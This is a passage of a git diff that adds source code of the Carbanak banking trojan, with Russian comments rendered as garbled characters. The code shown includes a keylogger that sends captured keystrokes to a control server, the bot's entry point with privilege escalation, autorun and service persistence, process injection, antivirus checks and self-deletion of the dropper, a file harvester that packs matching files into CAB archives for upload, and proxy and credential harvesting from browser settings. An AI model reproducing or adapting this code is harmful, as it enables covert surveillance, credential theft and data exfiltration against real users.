true;+ StringBuilder masks;++ if( ManagerServer::GetSharedFile(_CS_("klgconfig"), klgData ) )+ {+ myProcess = false;+ StringBuilder cfg;+ klgData.ToString(cfg);+ StringArray processes = cfg.Split( '\n' );+ int lenNameProcess = Str::Len(nameProcess);+ for( int i = 0; i < processes.Count(); i++ )+ {+ StringBuilder& s = processes[i];+ if( s.IsEmpty() ) continue; //������ ������+ int lenMask = s.IndexOf(';');+ if( lenMask < 0 ) lenMask = s.Len();+ if( Str::IndexOf( nameProcess, s, lenNameProcess, lenMask ) >= 0 ) //� ������� ������ ������ �������+ {+ myProcess = true;+ s.Substring( masks, lenMask + 1 );+ }+ }+ }++ if( !myProcess ) return false;++ uint msg[1];+ msg[0] = WM_KEYDOWN;+ //msg[0] = WM_CHAR;+ KeyLogger::FilterMsg* filterMsg = new KeyLogger::FilterMsg( msg, 1 );+ if( filterMsg )+ {+ StringArray captions = masks.Split(';');+ logger = new KeyLoggerAllChars( filterMsg, captions );+ if( logger )+ {+ if( KeyLogger::JoinDispatchMessage(logger) && Hook::Join_DestroyWindow( KeyLoggerAllCharsDestroyWindow, logger ) )+ {+ RealExitProcess = (typeExitProcess) Hook::Set( API(KERNEL32,ExitProcess), HookExitProcess );+ DbgMsg( "������� KeyLoggerAllChars()" );+ return true;+ }+ delete logger;+ }+ delete filterMsg;+ }+ return false;+}++struct KeyName+{+ int code;+ char* name;+};++static KeyName keysName[] =+{+ { VK_BACK, _CT_("back") },+ { VK_ESCAPE, _CT_("esc") },+ { VK_LEFT, _CT_("left") },+ { VK_RIGHT, _CT_("right") },+ { VK_UP, _CT_("up") },+ { VK_DOWN, _CT_("down") },+ { VK_RETURN, _CT_("enter") },+ { VK_INSERT, _CT_("insert") },+ { VK_DELETE, _CT_("delete") },+ { 0, 0 }+};++static bool KeyCodeToString( uint virtKey, uint scanCode, StringBuilder& key )+{+ BYTE keyState[256];+ API(USER32, GetKeyboardState)(keyState);+ DWORD threadId = API(KERNEL32, GetCurrentThreadId)();+ HKL hkl = API(USER32, GetKeyboardLayout)(threadId);+ WORD c = 0;+ API(USER32, ToAsciiEx)( virtKey, scanCode, keyState, &c, 0, hkl );+ if( c < 32 ) //�����-�� ����������� �������, ���������� �� ��� �� �������+ {+ int i = 0;+ if( c == VK_RETURN )+ {+ key += '\r';+ key += '\n';+ }+ else+ while( keysName[i].code )+ {+ if( keysName[i].code == virtKey )+ {+ key += '{';+ key += DECODE_STRING(keysName[i].name);+ key += '}';+ break;+ }+ i++;+ }+ }+ else+ key += (char)c;+ return true;+}++//��������� ��������� �� �����-�� ����� �� ������� � ������, ���������� ������ �����, ���� -1, �� ������� ����� �� ��������+static int ContainsMask( const StringArray& masks, const StringBuilder& text )+{+ for( int i = 0; i < masks.Count(); i++ )+ {+ if( text.IndexOf( masks[i] ) >= 0 )+ {+ return i;+ }+ }+ return -1;+}++void KeyLoggerAllChars::Exec( KeyLogger::FilterMsgParams& params )+{+ StringBuilderStack<16> key;+ KeyCodeToString( params.wparam, (params.lparam >> 16) & 0xff, key );++ HwndText* ctrl = 0;+ for( int i = 0; i < ctrls.Count(); i++ )+ if( ctrls[i]->hwnd == params.hwnd )+ {+ ctrl = ctrls[i];+ break;+ }+ if( ctrl == 0 )+ {+ ctrl = new HwndText();+ ctrl->hwnd = params.hwnd;+ ctrl->parent = Window::GetParentWithCaption(params.hwnd);+ if( !ctrl->parent ) ctrl->parent = ctrl->hwnd;+ Window::GetCaption( ctrl->parent, ctrl->parentCaption );+ if( maskCaptions.Count() > 0 ) //��������� ���� ������ �� �����+ {+ //������������ ������� � ����� ��������, ����� ��������� � ������� ��������, �������� � ��������� ���� � ������ �� ����+ StringBuilderStack<256> caption;+ caption = ctrl->parentCaption;+ caption.Lower();+ ctrl->ignore = ContainsMask( maskCaptions, caption ) < 0;+ }+ else //���� ����� �� ������, �� ��������� ��� ������+ ctrl->ignore = false;+ API(KERNEL32, GetSystemTime)( &ctrl->beg );+ ctrl->end = ctrl->beg;+ ctrls.Add(ctrl);+ }+ if( ctrl && !ctrl->ignore )+ {+ ctrl->text += key;+ API(KERNEL32, GetSystemTime)( &ctrl->end );+ DbgMsg( "%08x:%08x '%s'", ctrl->hwnd, ctrl->parent, ctrl->text.c_str() );+ }+}++void KeyLoggerAllChars::SendWindowData( HWND hwnd )+{+ StringBuilderStack<3> end; end.FillEndStr();+// StringBuilderStack<16> delim( _CS_("----------") );+ StringBuilder text;+ int i = 0;+ StringBuilderStack<256> kl;+ StringBuilderStack<64> nameProcess;+ Process::Name(nameProcess);++ while( i < ctrls.Count() )+ {+ HwndText* ctrl = ctrls[i];+ if( (hwnd == 0 || ctrls[i]->parent == hwnd) && !ctrls[i]->text.IsEmpty() )+ {+ if( text.IsEmpty() )+ {+ kl.Format( _CS_("Keylogger: [%02d.%02d.%04d %02d:%02d:%02d]-[%02d.%02d.%04d %02d:%02d:%02d]\r\n{\r\nProcess: %s\r\n"),+ (int)ctrl->beg.wDay, (int)ctrl->beg.wMonth, (int)ctrl->beg.wYear, (int)ctrl->beg.wHour, (int)ctrl->beg.wMinute, (int)ctrl->beg.wSecond,+ (int)ctrl->end.wDay, (int)ctrl->end.wMonth, (int)ctrl->end.wYear, (int)ctrl->end.wHour, (int)ctrl->end.wMinute, (int)ctrl->end.wSecond,+ nameProcess.c_str() );+ text += kl;+ text += _CS_("Window: " );+ text += ctrls[i]->parentCaption;+ text += end;+ }+ //text += delim;+ //text += end;+ text += ctrls[i]->text;+ text += end;+ ctrls.Del(i);+ }+ else+ i++;+ }+ if( !text.IsEmpty() )+ {+ text += _CS_("}\r\n");+ if( !ManagerServer::SendData(_CS_("keylogger"), text.c_str(), text.Len(), false ) )+ {+ StringBuilderStack<MAX_PATH> fileName;+ Path::GetTempPath( fileName, Config::TempNameFolder );+ Path::CreateDirectory(fileName);+ char buf[32];+ Str::Format( buf, _CS_("%d.txt"), buf );+ Path::AppendFile( fileName, buf );+ DbgMsg("�� ������� �������� ������ ������� ���� �����, ����� � ���� %s, %d ����", fileName, text.Len() );+ File::Write( fileName, text );+ }+ }+}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/main.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/main.cppnew file mode 100644index 0000000..d96d729--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/main.cpp@@ -0,0 +1,490 @@+#include "main.h"+#include "core\file.h"+#include "core\elevation.h"+#include "service.h"+#include "core\pipe.h"+#include "AdminPanel.h"+#include "core\hook.h"+#include "core\pe.h"+#include "core\crypt.h"+#include "core\util.h"+#include "Manager.h"+#include "task.h"+#include "other.h"+#include "sandbox.h"+#include "tools.h"+#include "AV.h"++//#pragma comment(linker, "/MERGE:.rdata=.data")++//���� ������� ����� ����� ������� ����� ������� � ���������+char fileDropper[MAX_PATH];+//�������� ������� � ����� ������������ �����+bool SetAutorun( StringBuilder& dropper );+//��������� �������� �� ������� ��������������� ������+bool IsAutorun( StringBuilder& dropper );+//��������� ���� � ������������+bool InstallBot( StringBuilder& path );+//���������� true, ���� ������� ����������+bool IsPresentKAV();+//���������� true ���� ������� �������� ����, � � Config::state ������������� ���� RUNNED_DUBLICATION+bool IsDuplication();++int main()+{+ if( !WinAPI::Init() ) return false;+ if( !Core::Init() ) return false;+ Rand::Init();+ if( !Config::Init() ) return false;++ StringBuilder path( fileDropper, sizeof(fileDropper) );+ Path::GetStartupExe(path);++ //Elevation::Sdrop(path);+/*+ Proxy::Info addr[10];+ int count = FindProxyAddr( addr, 10 );+ for( int i = 0; i < count; i++ )+ DbgMsg( "%d %s:%d", (int)addr[i].type, addr[i].ipPort.ip, addr[i].ipPort.port );+ return 0;+*/+ char paramSdrop[5]; //�������� �� �������� ���������� ��� ����������� � ����������� �������+ paramSdrop[0] = ' ';+ paramSdrop[1] = '-';+ paramSdrop[2] = 's';+ paramSdrop[3] = 'd';+ paramSdrop[4] = 0;++ char paramInject[5];+ paramInject[0] = ' ';+ paramInject[1] = '-';+ paramInject[2] = 'i';+ paramInject[3] = 'j';+ paramInject[4] = 0;++ char paramUpdate[4];+ paramUpdate[0] = ' ';+ paramUpdate[1] = '-';+ paramUpdate[2] = 'u';+ paramUpdate[3] = 0;+ int posParam = 0;++ Str::Copy( Config::fileNameBot, sizeof(Config::fileNameBot), path, path.Len() );++ char* cmdLine = API(KERNEL32, GetCommandLineA)();+ int lenLine = Str::Len(cmdLine);+// AVGUnload();+ if( Str::Cmp( cmdLine + lenLine - sizeof(paramSdrop) + 1, paramSdrop ) == 0 ) //��������� ����� ��������� ��������� ����+ {+ DbgMsg( "������� ������� � ���������� �������" );+ //InstallBot(path);+#ifdef NOT_EXPLORER+ StartBot();+#else+ StartBotApart(true);+#endif+ }+ else if( (posParam = Str::IndexOf( cmdLine, paramInject, lenLine, sizeof(paramInject) - 1 )) > 0 ) //������ ��� ������� � ���������+ {+/*+ DbgMsg("��������� � ����� ������� � ���������, ��� ���������: '%s'", cmdLine );+ posParam += sizeof(paramInject) - 1; //������� �� ����������, ��� ������� ����� �� ������������+ if( cmdLine[posParam] == '1' )+ fileDropper[0] = 0; //��������� ������������+ posParam += 2;+ Str::Copy( Config::nameManager, sizeof(Config::nameManager), cmdLine + posParam );+ InitRootkit(); //��� �������� ������� ��� ����������+ RunInExplorer(ExplorerEntryFromService);+*/+ }+ else if( (posParam = Str::IndexOf( cmdLine, paramUpdate, lenLine, sizeof(paramUpdate) - 1 )) > 0 ) //������� ����������+ {+ DbgMsg( "��������� ����������" );+ posParam += sizeof(paramUpdate); //� ���� ������� ��� ������ ���������+ Delay(5000); //���� ���� ������ ���������+ //fileDropper[0] = 0; //��������� ������������+ Str::Copy( Config::nameManager, sizeof(Config::nameManager), cmdLine + posParam );+ Config::state |= EXTERN_NAME_MANAGER | RUNNED_UPDATE;+ StartBot();+ }+ else+ {+ //���������������� ������ �� ����+ char path2[MAX_PATH];+ API(KERNEL32, GetTempPathA)( MAX_PATH, path2 );+ API(KERNEL32, CreateFileA)( path2, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 );+ if( API(KERNEL32, GetLastError)() == 3 )+ {+ IsDuplication();+ //������� �������� �� ���� ��������+ if( Service::IsService(path) )+ {+ Config::InitFileConfig(false);+ if( !Config::IsSleeping() )+ if( (Config::state & RUNNED_DUBLICATION) == 0 )+ {+ fileDropper[0] = 0; //��������� ������������+ Config::state |= IS_SERVICE;+ if( !Service::Start() )+ StartBot();+ }+ }+ else if( IsAutorun(path) ) //���������� �� ������������+ {+ Config::InitFileConfig(true);+ if( !Config::IsSleeping() )+ if( (Config::state & RUNNED_DUBLICATION) == 0 )+ {+ fileDropper[0] = 0; //��������� ������������+ StartBot();+ }+ }+ else //������� �������+ {+ DbgMsg( "������� �������" );+ //Config::DelSleeping(); //���� ���� � ������ ���, �� ������� ��� �������+ StringBuilderStack<MAX_PATH> exeSdrop = path;+ exeSdrop += paramSdrop;+ bool res = false;+#ifndef OFF_SDPROP+ if( IsPresentKAV() )+ {+ Config::state |= NOT_DIRECT_INJECT /*| NOT_USED_INJECT | NOT_INSTALL_SERVICE | NOT_INSTALL_AUTORUN*/; //��� ������� ��������� ������ ������+ }+ else+ if( (Config::state & SPLOYTY_OFF) == 0 )+ res = Elevation::Sdrop(exeSdrop);+#endif+ if( res ) //�������� ��������� �������� � ���������� �������+ {+ DbgMsg( "Sdrop ok" );+ }+ else+ {+ DbgMsg( "Sdrop bad" );+ //InstallBot(path);+ //StartBot();+ }+ StartBot();+ }+ }+ }++ API(KERNEL32, ExitProcess)(0);++ OutputDebugStringA(0); //����� � ��� ���� � ������� ������� kernel32.dll, ������� ������ � WinAPI::Init()++ return 0;+}++#ifdef BOT_DLL++DWORD WINAPI DllThread( void* )+{+// RunAdminPanelInSvchost();+ StartBot();+ Core::Release();+ return 0;+}++void main_dll( HMODULE hmodule )+{+ if( !WinAPI::Init() ) return;+ if( !Core::Init() ) return;+ if( !Config::Init() ) return;+ Rand::Init();+ Config::state |= IS_DLL;+ if( IsDuplication() ) return;++ fileDropper[0] = 0;+ API(KERNEL32, GetModuleFileNameA)( hmodule, Config::fileNameBot, sizeof(Config::fileNameBot) );+/*+ HMODULE imageBase = PE::GetImageBase(main_dll);+ DWORD sizeOfImage = PE::SizeOfImage(imageBase);++ void* newImageBase = API(KERNEL32, VirtualAlloc)( 0, sizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE );+ if( !newImageBase ) return;+ Mem::Copy( newImageBase, (void*)imageBase, sizeOfImage );++ PIMAGE_DOS_HEADER pdh = (PIMAGE_DOS_HEADER)imageBase;+ PIMAGE_NT_HEADERS pe = (PIMAGE_NT_HEADERS) ((byte*)pdh + pdh->e_lfanew);++ ULONG relRVA = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;+ ULONG relSize = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;++ PE::ProcessRelocs( (PIMAGE_BASE_RELOCATION)((ADDR)imageBase + relRVA ), (ADDR)newImageBase, (ADDR)newImageBase - (ADDR)imageBase, relSize );+ ADDR addr = (ADDR)AdminPanelProcess - (ADDR)imageBase + (ADDR)newImageBase;+ //HANDLE hprocess = API(KERNEL32, GetCurrentProcess)();+ //API(KERNEL32, CreateRemoteThread)( hprocess, 0, 0, (LPTHREAD_START_ROUTINE)addr, 0, 0, 0 );+ //RunThread( (typeFuncThread)addr, 0 );+*/+ RunThread( DllThread, 0 );+}++//��� ������ � �������� ���+BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )+{+ switch (ul_reason_for_call)+ {+ case DLL_PROCESS_ATTACH:+ main_dll(hModule);+ break;+ case DLL_THREAD_ATTACH:+ break;+ case DLL_THREAD_DETACH:+ break;+ case DLL_PROCESS_DETACH:+ break;+ }+ return TRUE;+}++#endif //BOT_DLL++bool InstallBot( StringBuilder& path, StringBuilder& dstFile )+{+ //�������� ������������ ��� ������+#ifndef OFF_SERVICE+ if( (Config::state & NOT_INSTALL_SERVICE) == 0 )+ if( Service::Install( path, dstFile, false ) )+ {+ Config::InitFileConfig(false);+ Config::state |= IS_SERVICE;+ return true;+ }+#endif+#ifndef OFF_AUTORUN+ //�������� ����� � ������������+ if( (Config::state & NOT_INSTALL_AUTORUN) == 0 )+ if( SetAutorun(path) )+ {+ Config::InitFileConfig(true);+ return true;+ }+#endif+ Config::InitFileConfig(true);+ return false;+}++bool StartBot()+{+ WaitRunExplorer();+// if( (Config::state & NOT_USED_INJECT) == 0 )+// InitRootkit();+#ifdef NOT_EXPLORER+/*+ //��� ������ �����������+ char path[MAX_PATH];+ GetTempPathA( MAX_PATH, path );+ HANDLE file = CreateFileA( path, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 );+ int err = GetLastError();+ if( err == 3 )+ return RunAdminPanelInSvchost();+ else+ return false;+*/+ if( Config::state & NOT_USED_SCVHOST )+ {+ fileDropper[0] = 0; //��������� ������������+ return RunAdminPanel(false);+ }+ else+ {+ if( Config::AV == AV_AVG )+ {+ DWORD pid = Process::GetPID( _CS_("services.exe") );//_CS_("winlogon.exe") );+ Config::state |= NOT_EXIT_PROCESS;+ InjectIntoProcess2( pid, AdminPanelProcess );+ // RunInExplorer2((SIZE_T)AdminPanelProcess);+ }+ else+ return RunAdminPanelInSvchost();+ }+#else+ return RunInExplorer(ExplorerEntry);+#endif+}++bool RestartBot()+{+ DbgMsg("������������� ����");+ StringBuilder fileName;+ fileName = fileDropper;+ if( Service::IsService(fileName) ) //���� ���������� ��� ������, �� ��������� ������+ {+ StringBuilder nameService;+ fileName.Lower();+ if( Service::GetNameService( nameService, fileName ) )+ {+ DbgMsg( "��������� ������ ���� %s", nameService.c_str() );+ if( Service::Start(nameService) )+ return true;+ }+ }+ //��������� � ���������� ������������ ���� ���� � ���������+ if( AddAllowedprogram(fileName) )+ {+ if( Process::Exec(fileName) )+ return true;+ }+ return false;+}++bool StartBotApart( bool dropper )+{+#ifndef NOT_EXPLORER+ //����������� ��� ��� ������ ���������+ StringBuilder nameManager( Config::nameManager, sizeof(Config::nameManager) );+ PipePoint::GenName(nameManager);+ //���� 30 ������ ���� ���������� ���������+ WaitRunExplorer();+ //��������� ���� � ������� �����, ����� ������ ���������� � ���������+ StringBuilder cmd;+ Path::GetStartupExe(cmd);+ cmd += _CS_(" -ij" );+ cmd += dropper ? '2' : '1';+ cmd += ' ';+ cmd += nameManager;+ Process::ExecAsCurrUser(cmd);+ //RunInExplorer(ExplorerEntryFromService); //��������� ���� � ����������+ //RunAdminPanel(true); //��������� ������ � �������� � ��������� ������+ Delay(1000); //���� ���� ���������� �������� � ����������+ InitRootkit();+ return RunAdminPanelInSvchost();+#else+ return false;+#endif+}+++bool SetAutorun( StringBuilder& dropper )+{+ StringBuilderStack<MAX_PATH> autorun;+ Config::FullNameBotExe(autorun);+ Str::Copy( Config::fileNameBot, sizeof(Config::fileNameBot), autorun, autorun.Len() );+ DbgMsg( "�������� � ������������: %s", autorun.c_str() );+ File::SetAttributes( autorun, FILE_ATTRIBUTE_NORMAL ); //���� ���� ����������, �� ������� ��������� ������, ����� ������������ ��� �������+// Mem::Data body;+// File::ReadAll( dropper, body );+// if( File::Write( autorun, body ) )+ if( File::Copy( dropper, autorun ) )+ {+ DbgMsg( "��������� � ������������ ������ �������" );+ File::SetAttributes( autorun, FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM );+// File::SetAttributes( autorun, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM );+ return true;+ }+ else+ DbgMsg( "� ������������ �� ������� ������������" );+ return false;+}++bool IsAutorun( StringBuilder& dropper )+{+ StringBuilderStack<32> name;+ Config::NameBotExe(name);+ int res = dropper.IndexOf(name);+ if( res >= 0 )+ return true;+ return false;+}++DWORD WINAPI InstallBotThread( void* )+{+ StringBuilder path( 0, sizeof(fileDropper), fileDropper );+ if( (Config::state & RUNNED_DUBLICATION) == 0 )+ {+ DbgMsg( "������� ����� ����������" );+ Delay(5000); //������� ����, ����� ����������� ������ ����� ���������, ���� ������ �����+ if( ManagerServer::GetGlobalState(Task::GlobalState_LeftAutorun) == '0' )+ {+ //�������� ������� � ���� �������, ������� ����� ����� ��������� ��� ����������+ //����� ���������� ��-�� ���� ��� KAV ����� ����������� exe � ��������� �����, � � ���� ����� �� �����+ StringBuilder dstFile;+ if( (Config::state & NOT_INSTALL_SERVICE) == 0 )+ Service::Copy( path, dstFile );+// Service::Copy(data);+ InstallBot( path, dstFile );+ }+ else+ {+ Str::Copy( Config::fileNameBot, fileDropper ); //�������������� ����������������� ����+ Task::ProtectBot();+ fileDropper[0] = 0;+ DbgMsg( "��� ���������� ��������� �������" );+ }+ }+ for( int i = 0; i < 10; i++ )+ {+ if( fileDropper[0] == 0 ) break;+//��� ������� ����� ��� ��������������, ���� �������� �������, �� ����� ��V+//����� KAV �� �������� ���� ������ �������� ����+ DbgMsg( "������� ������� %s, ������� %d", fileDropper, i + 1 );++ HANDLE hfile = File::Open( fileDropper, GENERIC_WRITE, CREATE_ALWAYS, FILE_FLAG_DELETE_ON_CLOSE );+ if( hfile )+ {+ File::Close(hfile);+ DbgMsg( "������� ������� ������" );+ break;+ }++// Process::Exec( "cmd.exe /c del \"%s\"", fileDropper );+// StringBuilder path2;+// File::WriteAll( path, 0, 0 );+// path2 = path;+// path2 += '1';+ //Path::GetPathName(path2);+ //path2 += "123";+// API(KERNEL32, MoveFileExA)( path, path2, MOVEFILE_REPLACE_EXISTING );+// if( File::WriteAll( path, path.c_str(), 0 ) )+// if( File::Delete(fileDropper) )+// if( File::Delete(path2) )+// {+// DbgMsg( "������� ������� ������" );+// break;+// }+ Delay(1000);+ }+// StringBuilder s(256);+// s = "cmd.exe /C del ";+// s += path;+// Sandbox::Exec(s);+/* �� �������, ��� ������ �������� �����+char szPath[256] ;+GetModuleFileName(NULL, szPath, sizeof(szPath));+SHFILEOPSTRUCT sh;+sh.hwnd = GetSafeHwnd();+sh.wFunc = FO_DELETE;+sh.pFrom =szPath;+sh.pTo = NULL;+sh.fFlags = FOF_NOCONFIRMATION | FOF_SILENT;+sh.hNameMappings = 0;+sh.lpszProgressTitle = NULL;++SHFileOperation (&sh);+*/+ return 0;+}++bool IsPresentKAV()+{+ if( Config::AV == AV_KAV ) return true;+ return false;+}++bool IsDuplication()+{+ if( Config::state & CHECK_DUPLICATION )+ {+ if( Config::CreateMutex() )+ Config::ReleaseMutex(); //����� �����������, ������ ���������� �����+ else+ {+ Config::state |= RUNNED_DUBLICATION;+ DbgMsg( "������� ��������" );+ return true;+ }+ }+ return false;+}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/FindFiles.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/FindFiles.cppnew file mode 100644index 0000000..1f664ca--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/FindFiles.cpp@@ -0,0 +1,67 @@+#pragma once++#include "other.h"+#include "core\file.h"+#include "core\cab.h"+#include "core\debug.h"+#include "Manager.h"++const int MaxCabs = 50;+const int MaxSize = 2 * 1024 * 1024; //������������ ������ ������ ���������� � ���� �����++struct ParamFindFiles+{+ Cab* cab[MaxCabs];+ int countCab;+ int currSize;+ int countFiles; //���������� ��������� ������+ const char* mask;+};++static bool FindFilesCallback( File::FileInfo& fi, void* tag )+{+ ParamFindFiles* pff = (ParamFindFiles*)tag;+ if( Str::IndexOf( fi.fd.cFileName, pff->mask ) >= 0 )+ {+ if( pff->countCab == 0 || pff->currSize > MaxSize )+ {+ if( pff->countCab > 0 ) pff->cab[pff->countCab - 1]->Close();+ pff->currSize = 0;+ if( pff->countCab >= MaxCabs ) return false; //������������� �����+ pff->cab[pff->countCab] = new Cab();+ pff->countCab++;+ }+ pff->cab[pff->countCab - 1]->AddFile( fi.fd.cFileName, fi.fullName->c_str() );+ pff->currSize += fi.fd.nFileSizeLow;+ pff->countFiles++;+ }+ return true;+}++int FindFiles( const StringBuilder& path, const StringBuilder& mask, int dst, const StringBuilder& name )+{+ ParamFindFiles pff;+ pff.countCab = 0;+ pff.countFiles = 0;+ pff.mask = mask.c_str();+ File::ListFiles( path, _CS_("*.*"), &FindFilesCallback, true, &pff );+ if( pff.countCab > 0 && pff.currSize > 0 ) pff.cab[pff.countCab - 1]->Close(); //��������� ��������� �����+ for( int i = 0; i < pff.countCab; i++ )+ {+ Mem::Data& data = pff.cab[i]->GetData();+ if( dst & 1 ) //� �������+ {+ StringBuilder fileName;+ fileName = name;+ fileName += _CS_(".cab");+ ManagerServer::SendData( name, data.Ptr(), data.Len(), true, fileName );+ }+ if( dst & 2 ) //�� ������+ {+ ManagerServer::SendFileToVideoServer( _CS_("cabs"), name, _CS_("cab"), data );+ }+ delete pff.cab[i];+ Delay(2000);+ }+ return pff.countFiles;+}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/GetProxy.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/GetProxy.cppnew file mode 100644index 0000000..dc5ad92--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/GetProxy.cpp@@ -0,0 +1,391 @@+#pragma once++#include "core\proxy.h"+#include "core\reestr.h"+#include "core\file.h"+#include "core\debug.h"+#include "core\sniffer.h"+#include "other.h"+#include "manager.h"++static int AppendAddr( Proxy::Info* addr, int count, int size, Proxy::Type type, const char* ipPort )+{+ if( count < size && addr )+ {+ if( addr[count].ipPort.Parse(ipPort) )+ {+ int i = 0;+ for( ; i < count; i++ )+ if( Str::Cmp( addr[i].ipPort.ip, addr[count].ipPort.ip ) == 0 && addr[i].ipPort.port == addr[count].ipPort.port )+ break;+ if( i < count ) //����� ��� ����+ {+ if( addr[i].type < type )+ addr[i].type = type;+ }+ else+ {+ addr[count].type = type;+ count++;+ }+ }+ }+ return count;+}++static int GetProxyIE( Proxy::Info* addr, int count, int size )+{+ Reestr r(HKEY_USERS);+ int i = 0;+ StringBuilderStack<128> subKey;+ StringBuilder nameKey;+ StringBuilder value;+ for(;;)+ {+ if( !r.Enum( subKey, i ) ) break;+ Path::Combine( nameKey, subKey, _CS_("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" ) );+ Reestr r2( r.GetKey(), nameKey, KEY_READ );+ if( r2.Valid() )+ {+ if( r2.GetString( _CS_("ProxyServer"), value ) )+ {+ if( value.IndexOf('=') ) //���� �������� ����������+ {+ StringArray sa = value.Split(';');+ for( int i = 0; i < sa.Count(); i++ )+ {+ StringBuilder& s = sa[i];+ int p = s.IndexOf('=');+ if( p > 0 )+ {+ Proxy::Type type = (Proxy::Type)-1;+ if( p == 4 && s.Cmp( _CS_("http"), 4 ) == 0 )+ type = Proxy::HTTP;+ else if( p == 5 && s.Cmp( _CS_("https"), 5 ) == 0 )+ type = Proxy::HTTPS;+ else if( p == 5 && s.Cmp( _CS_("socks"), 5 ) == 0 )+ type = Proxy::SOCKS5;+ if( type != (Proxy::Type)-1 )+ count = AppendAddr( addr, count, size, type, s.c_str() + p + 1 );+ }+ }+ }+ else //������ ������ ���� � ����+ count = AppendAddr( addr, count, size, Proxy::HTTP, value );+ }+ }+ i++;+ }+ return count;+}++//��������� ����� ��� �������� ����� "+static int GetValueFirefox( const StringBuilder& s, int p, char* to, int c_to )+{+ while( (s[p] < '0' || s[p] > '9') && s[p] ) p++; //���� �����+ if( s[p] == 0 ) return -1;+ int i = 0;+ while( i < c_to - 1 && s[p] != '"' && s[p] != ')' ) //�������� ���� �� �������� " ��� )+ {+ *to++ = s[p];+ i++; p++;+ }+ *to = 0;+ return p;+}++static int AppendIpPortFirefox( const StringBuilder& s, int& i, const char* fld, Proxy::Type type, Proxy::Info* addr, int count, int size )+{+ //���� ����+ int c_fld = Str::Len(fld);+ int p = s.IndexOf( i, fld, c_fld );+ if( p < 0 ) return count;+ char ipPort[32];+ p += c_fld;+ int p1 = GetValueFirefox( s, p, ipPort, sizeof(ipPort) );+ if( p1 < 0 ) return count;+ int len = Str::Len(ipPort);+ ipPort[len++] = ':';+ //���� ����+ p = s.IndexOf( p1, fld );+ if( p < 0 ) return count;+ p1 = GetValueFirefox( s, p1 + c_fld, ipPort + len, sizeof(ipPort) - len );+ if( p1 < 0 ) return count;+ i = p1;+ return AppendAddr( addr, count, size, type, ipPort );+}++static int GetProxyFirefox( Proxy::Info* addr, int count, int size )+{+ Reestr r(HKEY_USERS);+ int i = 0;+ StringBuilderStack<64> subKey;+ StringBuilder nameKey, appPath, pathIni, pathFirefox, pathPrefs;+ Mem::Data data;+ for(;;)+ {+ if( !r.Enum( subKey, i ) ) break;+ Path::Combine( nameKey, subKey, _CS_("Volatile Environment" ) );+ Reestr r2( r.GetKey(), nameKey, KEY_READ );+ if( r2.Valid() )+ {+ if( r2.GetString( _CS_("APPDATA"), appPath ) )+ {+ Path::Combine( pathFirefox, appPath, _CS_("Mozilla\\Firefox") );+ Path::Combine( pathIni, pathFirefox, _CS_("profiles.ini") );+ if( File::IsExists(pathIni) )+ {+ for( int n = 0; n < 10; n++ )+ {+ StringBuilderStack<32> profile( _CS_("Profile") );+ profile += n;+ StringBuilderStack<64> pathProfile;+ int len = API(KERNEL32, GetPrivateProfileStringA)( profile, _CS_("Path"), 0, pathProfile.c_str(), pathProfile.Size(), pathIni );+ if( len > 0 )+ {+ pathProfile.SetLen(len);+ Path::Combine( pathPrefs, pathFirefox, pathProfile, _CS_("prefs.js") );+ if( File::ReadAll( pathPrefs, data ) )+ {+ StringBuilder s(data);+ int i = 0;+ count = AppendIpPortFirefox( s, i, _CS_("network.proxy.http"), Proxy::HTTP, addr, count, size );+ count = AppendIpPortFirefox( s, i, _CS_("network.proxy.socks"), Proxy::SOCKS5, addr, count, size );+ }+ }+ }+ }+ }+ }+ i++;+ }+ return count;+}++int FindProxyAddr( Proxy::Info* addr, int size )+{+ Mem::Set( addr, 0, sizeof(Proxy::Info) * size );+ int count = 0;+ count = GetProxyIE( addr, count, size );+ count = GetProxyFirefox( addr, count, size );+ return count;+}++/////////////////////////////////////////////////////////////////////+/*+struct ProxyAuthenticationIP+{+ ULONG ip;+ USHORT port; //����� ����� ��� ����� � ������� �������+ int counter; //������� ��� ������ ���������� ���� ���������������, ����� ���� ����� ��� ���������+ Proxy::Info addr;+};++struct ProxyAuthenticationData+{+ ProxyAuthenticationIP ips[10];+ int c_ips; //���������� �������� ����+ int remain; //������� �������� ����� (� ������ ������ ���� ����� c_ips)+ char ProxyAuthorization[24];+ int c_ProxyAuthorization;+};++static bool FindAuthenticationProxyCallback( const IPHeader* header, const void* data, int c_data, void* tag )+{+ //� ������ ������ ������ ���� ������ ������, ������� ������, 2-� - ���� (��� ����� 2-�)+ if( data == 0 || c_data <= 0 ) return false;+ USHORT* ports = (USHORT*)data;+ ProxyAuthenticationData* pad = (ProxyAuthenticationData*)tag;+ for( int i = 0; i < pad->c_ips; i++ )+ {+ if( header->iph_dest == pad->ips[i].ip && ports[1] == pad->ips[i].port )+ {+ int p = Mem::IndexOf( data, c_data, pad->ProxyAuthorization, pad->c_ProxyAuthorization );+ if( p > 0 )+ {+ p += pad->c_ProxyAuthorization;+ char* s = (char*)data;+ while( s[p] == ' ' || s[p] == ':' ) p++; //���� �� ������ ��������+ int p2 = Mem::IndexOf( s + p, '\r', c_data - p );+ if( p2 > 0 )+ {+ Str::Copy( pad->ips[i].addr.authentication, sizeof(pad->ips[i].addr.authentication), s + p, p2 );+ 